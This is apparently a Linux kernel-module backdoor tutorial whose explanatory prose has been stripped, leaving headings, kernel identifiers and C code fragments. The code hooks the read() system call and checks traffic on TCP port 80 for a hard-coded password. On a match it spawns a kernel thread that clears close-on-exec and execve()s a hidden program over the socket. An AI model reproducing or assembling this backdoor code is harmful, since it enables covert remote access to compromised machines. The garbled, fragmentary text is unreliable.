linuxnoble_shi@21cn.com
1socketELFELF
2.1 linux
2.2 TCP/IPlinux1
2.3 LKMs
2.4 socksocketsocksocksock.daddrsock.dportsock.sportTCPUDPsocksock
2.5 UNIXBPFSOCK_PACKETlibcapDLPI
2.6ELFELFlinuxobjdump
2.7 filedentry,inode,sock,socket80
31.(1)kernle_thread()int kernel_thread (int (*fn)(void *), void * arg, unsigned long flags){long retval, d0;__asm__ __volatile__("movl %%esp,%%esi\n\t""int $0x80\n\t""cmpl %%esp,%%esi\n\t""je 1f\n\t""movl %4,%%eax\n\t"
3"pushl %%eax\n\t""call *%5\n\t""movl %3,%0\n\t""int $0x80\n""1:\t":"=&a" (retval), "=&S" (d0):"0" (__NR_clone), "i" (__NR_exit), "r" (arg), "r" (fn), "b" (flags | CLONE_VM): "memory");return retval;}
3(2)execve(),getname()do_execve()execve()
3do_execve()aopen_exec()filebstruct linux_binprmc128linux_binprmbufdlinux_binprmeformates
3(3)ELFELFformatesload_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)mm_structfiles_structfs_structk_sigactionfiles_structstatic inline void flush_old_files(struct files_struct * files)
3static inline void flush_old_files(struct files_struct * files){long j = -1;write_lock(&files->file_lock);for (;;) {unsigned long set, i;j++;i = j * __NFDBITS;if (i >= files->max_fds || i >= files->max_fdset)break;
3set = files->close_on_exec->fds_bits[j];if (!set)continue;files->close_on_exec->fds_bits[j] = 0;write_unlock(&files->file_lock);for ( ; set ; i++,set >>= 1) {if (set & 1) {sys_close(i);}}write_lock(&files->file_lock);}write_unlock(&files->file_lock);}
3filesfiles_structinclude/linux/sched.hstruct files_struct {atomic_t count;rwlock_t file_lock;int max_fds;int max_fdset;int next_fd;struct file ** fd;fd_set *close_on_exec;fd_set *open_fds;fd_set close_on_exec_init;fd_set open_fds_init;struct file * fd_array[NR_OPEN_DEFAULT];};
3fd_setinclude/linux/type.htypedef __kernel_fd_setfd_set;kernel_fd_setinclude/linux/posix_types.h#undef __NFDBITS#define __NFDBITS(8 * sizeof(unsigned long))#undef __FD_SETSIZE#define __FD_SETSIZE1024
#undef __FDSET_LONGS#define __FDSET_LONGS(__FD_SETSIZE/__NFDBITS)
typedef struct {unsigned long fds_bits [__FDSET_LONGS];} __kernel_fd_set;
3 2. :80TCP (1)read(int fd, void *buf, size_t count)
(2)abcdefg
3ret = old_read(fd, buf, count);bzero(kbuf, MAX_BUF);__generic_copy_from_user(kbuf, buf, ret);if( memcmp(kbuf, passwd, strlen(passwd)) == 0 ){file = fget(fd);if(file->f_dentry->inode->sk.sport == PORT)kernel_thread(exe_func, fd, flags);fput(file);}
3kernel_thread()cloneflags0mm_structfiles_structfs_structk_sigactionfiles_structCLONE_FILESfs_structclose_on_execopen_fds0
3(3)exe_func :#define MAX_ARG32static int exe_func(int fd){char arg[MAX_ARG];bzero(arg, MAX_ARG);my_itoa(fd, arg);clr_fd( fd );set_fs(KERNEL_DS);ret = execve(my_program, arg, 0);if(ret < 0)return -1;return 0;}
3(4)clr_fd()close_on_exec0#define FD_SET(fd,fdsetp) \__asm__ __volatile__("btsl %1,%0": \"=m" (*(__kernel_fd_set *) (fdsetp)):"r" ((int) (fd)))
#define FD_CLR(fd,fdsetp) \__asm__ __volatile__("btrl %1,%0": \"=m" (*(__kernel_fd_set *) (fdsetp)):"r" ((int) (fd)))btrlbtsl1
3void clr_fd(fd){struct file *file;file = fget(fd);FD_SET(fd, file->open_fds);FD_CLR(fd, file->close_on_exec);fput(file);return;}
3(5)/* my_program */include int main(int argc, char *argv[]){int fd = atoi(argv[1]);}